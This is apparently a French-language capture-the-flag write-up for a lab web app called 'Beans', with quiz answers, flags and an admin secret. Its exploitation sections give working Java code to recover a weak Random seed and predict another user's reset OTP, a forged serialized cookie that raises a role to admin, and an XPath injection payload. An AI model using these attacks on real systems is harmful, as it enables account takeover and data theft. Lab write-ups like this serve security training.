Beans

image.png

ANSWERS THE QUESTIONS

Q1 - What vulnerability can be detected in the Login Portal?

Answer :
     A. Username Enumeration 
Q2 - Demonstrate the attack in order to gather important data?

Answer : 
     princess
Q3 - What is a secure practice for generating OTPs in web applications?

Answer : 
     B. Using a cryptographic secure random function
Q4 - By analysing the servlet responsible of "forgot password", what potential vulnerability exists?

Answer : 
     A. Account Takeover
Q5 - In the same servlet, what is the problematic causing a vulnerability?

Answer : 
    A. The OTP is generated using parameters with bad modifiers
Q6 - Demonstrate The attack and grab the flag from the user dashboard which we enumerated with the first vulnerability.

Answer : Beans_v8_dedicated_18349-4ex38odyfmsu2mho76evfb58gq5feaet

Exploitation

Methode d’exploittation de génération d’OTP

Étape 1 : Vous avez généré un OTP pour vous-même, par exemple "kyqH0I".
Étape 2 : Nous allons calculer l'état interne du générateur aléatoire (Random) après la génération de cet OTP.
Étape 3 : Nous allons utiliser cet état pour prédire l'OTP pour un autre utilisateur.

Etape1

On intercepte le code OTP pour notre propre compte (après avoir créé un utilisateur et enregistré notre ip comme url de reception d’OTP (http://10.8.0.3:8000)

NB: faire très attention à générer le code une seule fois depuis la plateforme “http://10.8.0.2/requestOTP.jsp

┌──(robot㉿kali)-[~/Downloads]
└─$ python server.py
Serving HTTP on port 8000...
Received POST data: otp=kyqH0I
10.8.0.2 - - [28/Aug/2024 00:55:22] "POST / HTTP/1.1" 200 -

le code OTP généré est donc “kyqH0I”

Etape2

Determiner le seed utiliser pour faire la generation et ainsi obtenir l’etat interne du generateur random.

Voici le programme utilisé pour l’attaque brute force permettant d’obtenir le seed (avec notre OTP en paramètre)

import java.util.Random;

public class OtpSeedFinder {

    // Constantes pour l'algorithme de génération d'OTP
    private static final String ALPHANUMERIC_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    private static final long MIN_SEED = 0;
    private static final long MAX_SEED = 1000000;

    // Méthode pour générer un OTP basé sur un seed donné
    public static String generateOTP(Random rand) {
        StringBuilder builder = new StringBuilder();
        for (int i = 0; i < 6; i++) {
            builder.append(ALPHANUMERIC_CHARS.charAt(rand.nextInt(ALPHANUMERIC_CHARS.length())));
        }
        return builder.toString();
    }

    // Méthode pour retrouver le seed à partir d'un OTP connu
    public static long findSeedFromOTP(String knownOtp) {
        for (long potentialSeed = MIN_SEED; potentialSeed <= MAX_SEED; potentialSeed++) {
            Random rand = new Random(potentialSeed);
            String generatedOtp = generateOTP(rand);
            System.out.println("generatedOtp : " + generatedOtp);
            if (generatedOtp.equals(knownOtp)) {
                return potentialSeed; // Seed trouvé
            }
        }
        return -1; // Seed non trouvé (cas théorique si OTP ne correspond pas à l'algorithme)
    }

    public static void main(String[] args) {
        // Exemple d'OTP connu (vous pouvez remplacer par un OTP réel)
        String knownOtp = "kyqH0I"; // Remplacez par l'OTP que vous souhaitez reverser

        // Recherche du seed
        long foundSeed = findSeedFromOTP(knownOtp);

        // Affichage du résultat
        if (foundSeed != -1) {
            System.out.println("Seed trouvé : " + foundSeed);
        } else {
            System.out.println("Seed non trouvé.");
        }
    }
}

Le calcule nous donne un seed de “150483”

Etape 3

Nous avons

Le bon seed: 150483

Le bon etat interne du generateur random qui est 1 (après une génération)

Le code OTP après une génération; kyqH0I

Apartir de ces éléments nous pouvons determiner la prochaine valeur de code OTP (par exemple celle de princess)

Voici le code de prediction

import java.util.Random;

public class OTPPredictor {

    private static final String ALPHANUMERIC_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    public static void main(String[] args) {
        long foundSeed = 150483; // Insérez ici le seed trouvé à l'étape 2
        Random random = new Random(foundSeed);

        // Générer et "brûler" le premier OTP, celui qui a été généré précédemment
        String firstOtp = generateOTP(random, 6);
        System.out.println("First OTP: " + firstOtp);

        // Générer le prochain OTP pour un autre utilisateur
        String nextOtp = generateOTP(random, 6);
        System.out.println("Next OTP for another user: " + nextOtp);
    }

    private static String generateOTP(Random random, int length) {
        StringBuilder otpBuilder = new StringBuilder(length);
        for (int i = 0; i < length; i++) {
            int index = random.nextInt(ALPHANUMERIC_CHARS.length());
            otpBuilder.append(ALPHANUMERIC_CHARS.charAt(index));
        }
        return otpBuilder.toString();
    }
}

Ici le code OTP est genere deux fois pour avoir le bon etat intenre du generateur random

après avoir executé on obtient

┌──(robot㉿kali)-[~/Downloads]
└─$ java OTPPredictor.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
First OTP: kyqH0I
Next OTP for another user: Dl7iv2

Ainsi la prchaine generation nous donera un code OTP qui sera “Dl7iv2”

On se rend donc sur “http://10.8.0.2/requestOTP.jsp” et on entre le username “princess” pour générer le code OTP de princess

Une fois cela est fait on modifie le mot de passe de princess avec le nouveau code OTP qui devrait être “Dl7iv2”

Screenshot_2024-08-28_01-42-55.png

Q7 - What vulnerability arises from improper handling of serialized data in cookies?

Answer : B. Privilege escalation
Q8 - What aspect of AdminServlet code is vulnerable to the last vulnerability chosen?

Answer : 

A. Use of common Java serialization libraries without additional security checks

B. Cookies are used without secure flags

C. User sessions are serialized without integrity checks
Q9 - Exploit the vulnerability and grab the flag.

Answer : Beans_v8_dedicated_18349-loj8iuimae651u12l0ge5p3v55a6lj0s

Exploitation

Après avoir analysé le code AdminServlet.java on comprend que la methode de generation de la session utilisateur n’est pas sécurisé et que la verification est faite sur le role de l’utilisateur (normal ou admin)

Nous avons donc codé un programme permetant de decodé le usersession (nous prenons l’exemple du usersession de princess)

import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.xpath.*;
import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.io.Serializable;
import java.util.Base64;
import java.io.*;

public class decodeUsersession {

    public static void main(String[] args) {
        String sessionData = "rO0ABXNyAAtVc2VyU2Vzc2lvbgU1ln98HkPVAgACTAAEcm9sZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wACHVzZXJuYW1lcQB%2BAAF4cHQABm5vcm1hbHQACHByaW5jZXNz";

        try {
            // Décodage de la chaîne URL encodée
            String decodedData = URLDecoder.decode(sessionData, StandardCharsets.UTF_8.name());

            // Désérialisation en objet UserSession
            UserSession userSession = SerializationUtil.deserialize(decodedData);

            // Affichage des informations de la session
            System.out.println("Username: " + userSession.getUsername());
            System.out.println("Role: " + userSession.getRole());
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

public class SerializationUtil {

    public static String serialize(UserSession userSession) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(userSession);
        oos.close();
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    public static UserSession deserialize(String base64String) throws IOException, ClassNotFoundException {
        if (base64String == null || base64String.length() % 4 != 0) {
            throw new IllegalArgumentException("Invalid cookie to decode");
        }
        byte[] data = Base64.getDecoder().decode(base64String);
        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
            return (UserSession) ois.readObject();
        }
    }
}

public class UserSession implements Serializable {

    private String username;
    private String role;

    public UserSession(String username, String role) {
        this.username = username;
        this.role = role;
    }
    public String getRole() { return role; }
    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }
}
┌──(robot㉿kali)-[~/Downloads]
└─$ java decodeUsersession.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Username: princess
Role: normal

On constate donc le username princess et le Role qui est normal

Ainsi on va codé le programme d’encodage du usersession en prenant soins de modifier le Role à admin

import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.xpath.*;
import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.io.Serializable;
import java.util.Base64;
import java.io.*;

public class encodeUsersession {

    public static void main(String[] args) {
        // Exemple de données utilisateur
        String username = "princess";
        String role = "admin";

        try {
            // Créer une nouvelle session utilisateur
            UserSession userSession = new UserSession(username, role);

            // Sérialiser la session utilisateur en chaîne Base64
            String encodedSession = SerializationUtil.serialize(userSession);

            // Encoder la chaîne en format URL
            String urlEncodedSession = URLEncoder.encode(encodedSession, StandardCharsets.UTF_8.name());

            // Afficher la session utilisateur encodée
            System.out.println("Encoded User Session: " + urlEncodedSession);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

public class SerializationUtil {

    public static String serialize(UserSession userSession) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(userSession);
        oos.close();
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    public static UserSession deserialize(String base64String) throws IOException, ClassNotFoundException {
        if (base64String == null || base64String.length() % 4 != 0) {
            throw new IllegalArgumentException("Invalid cookie to decode");
        }
        byte[] data = Base64.getDecoder().decode(base64String);
        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
            return (UserSession) ois.readObject();
        }
    }
}

public class UserSession implements Serializable {

    private String username;
    private String role;

    public UserSession(String username, String role) {
        this.username = username;
        this.role = role;
    }

    public String getRole() {
        return role;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }
}
┌──(robot㉿kali)-[~/Downloads]
└─$ java encodeUsersession.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Encoded User Session: rO0ABXNyAAtVc2VyU2Vzc2lvbgU1ln98HkPVAgACTAAEcm9sZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wACHVzZXJuYW1lcQB%2BAAF4cHQABWFkbWludAAIcHJpbmNlc3M%3D

Nous nous connectons ensuite entant que princess et nous modifions notre usersession par celui que nous avons généré puis nous nous rendons sur la page /adminPage.jsp

On ontient ainsi le flag

Screenshot_2024-08-28_08-45-13.png

Q10 - What other type of vulnerability is the AdminServlet susceptible to?

Answer : B. XPATH Injection
Q11 - Exploit the vulnerability and grab the admin secret

Answer : s3cr31adm1np@ssw000rd

Exploitation

Une fois connecté à l’espace admin nous pouvons emettre de requette pour obtenir les infos sur les users

les users presents se trouvent dans le fichier users.xml

Ainsi on peut donc effectuer des requettes sur jack,oner,aarab par contre les requettes sur admin ne fonctionnent pas

Cela se vois dans le code AdminServlet.java qui modifie la requette sur admin en user .

Cela n’est pas un problème. Vu que le username est ajouté dans la requette sans aucun control bloquant, nous pouvons effectuer de l’injection XPATH pour obtenir toute les enregistrements

la requette est la suivante (et doit etre mis dans le champ user)

' or '1'='1

L’execution de cette requette nous permet d’avoir toutes les informations sur tout les utilisateurs y compris admin et son secret

Screenshot_2024-08-28_09-36-32.png